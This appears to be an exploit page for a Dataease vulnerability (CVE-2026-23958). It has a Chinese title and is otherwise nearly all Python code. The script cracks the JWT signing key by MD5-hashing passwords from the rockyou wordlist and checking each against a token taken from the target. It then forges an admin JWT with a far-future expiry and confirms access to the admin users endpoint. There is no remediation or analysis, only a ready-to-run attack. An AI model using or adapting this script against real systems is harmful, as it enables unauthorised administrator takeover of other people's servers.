Dataease JWT签名密钥弱密钥派生导致管理员账户接管漏洞 (CVE-2026-23958)

import hashlib import requests import jwt # Configuration TARGET_URL = "http://target-server:8080" USERNAME = "admin" PASSWORD_DICT = "rockyou.txt" def md5_hash(data): """Calculate MD5 hash of input data""" return hashlib.md5(data.encode()).hexdigest() def get_jwt_token(): """Retrieve a valid JWT token from the target system""" response = requests.get(f"{TARGET_URL}/api/user/info") return response.cookies.get('JWT') or response.json().get('token') def forge_jwt_token(secret_key): """Forge a JWT token using the provided secret key""" payload = { "sub": USERNAME, "role": "admin", "exp": 9999999999 } return jwt.encode(payload, secret_key, algorithm='HS256') def verify_token(token, secret_key): """Verify if the token is valid with given secret key""" try: jwt.decode(token, secret_key, algorithms=['HS256']) return True except: return False def exploit(): """Main exploit function""" print(f"[*] Starting CVE-2026-23958 exploit for {TARGET_URL}") original_token = get_jwt_token() with open(PASSWORD_DICT, 'r', encoding='utf-8') as f: for password in f: password = password.strip() secret = md5_hash(password) if verify_token(original_token, secret): print(f"[+] Password found: {password}") forged_token = forge_jwt_token(secret) print(f"[+] Forged admin token: {forged_token}") # Verify admin access response = requests.get( f"{TARGET_URL}/api/admin/users", headers={'Authorization': f'Bearer {forged_token}'} ) if response.status_code == 200: print("[+] Admin access confirmed!") return True return False if __name__ == "__main__": exploit()